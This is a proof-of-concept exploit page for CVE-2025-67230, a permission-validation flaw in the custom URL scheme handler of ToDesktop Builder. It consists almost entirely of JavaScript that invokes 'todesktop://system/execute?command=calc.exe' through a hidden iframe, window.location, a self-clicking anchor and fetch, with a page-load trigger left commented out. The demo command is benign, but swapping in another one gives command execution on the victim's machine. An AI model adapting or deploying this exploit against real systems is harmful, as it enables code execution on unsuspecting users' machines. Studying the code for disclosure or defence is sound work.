CVE-2025-67230 ToDesktop Builder自定义URL协议处理器权限验证不当漏洞

// CVE-2025-67230 PoC - ToDesktop Builder Custom URL Scheme Handler Exploitation // This PoC demonstrates the improper permission validation in Custom URL Scheme handler // Method 1: Using window.location to invoke external protocol function exploitViaLocation() { // Construct malicious URL to trigger protocol handler without proper validation const maliciousURL = 'todesktop://system/execute?command=calc.exe'; window.location = maliciousURL; } // Method 2: Using iframe to invoke protocol function exploitViaIframe() { const iframe = document.createElement('iframe'); iframe.src = 'todesktop://system/execute?command=calc.exe'; iframe.style.display = 'none'; document.body.appendChild(iframe); // Clean up after trigger setTimeout(() => iframe.remove(), 1000); } // Method 3: Using anchor element with auto-click function exploitViaAnchor() { const anchor = document.createElement('a'); anchor.href = 'todesktop://system/execute?command=calc.exe'; anchor.click(); } // Method 4: Using fetch for protocol invocation (if supported) async function exploitViaFetch() { try { await fetch('todesktop://system/execute?command=calc.exe', { method: 'GET', mode: 'no-cors' }); } catch (e) { console.log('Protocol invoked via fetch'); } } // Auto-trigger on page load document.addEventListener('DOMContentLoaded', () => { // Uncomment the desired exploitation method // exploitViaLocation(); // exploitViaIframe(); // exploitViaAnchor(); // exploitViaFetch(); console.log('CVE-2025-67230 PoC loaded - ToDesktop Builder vulnerability'); });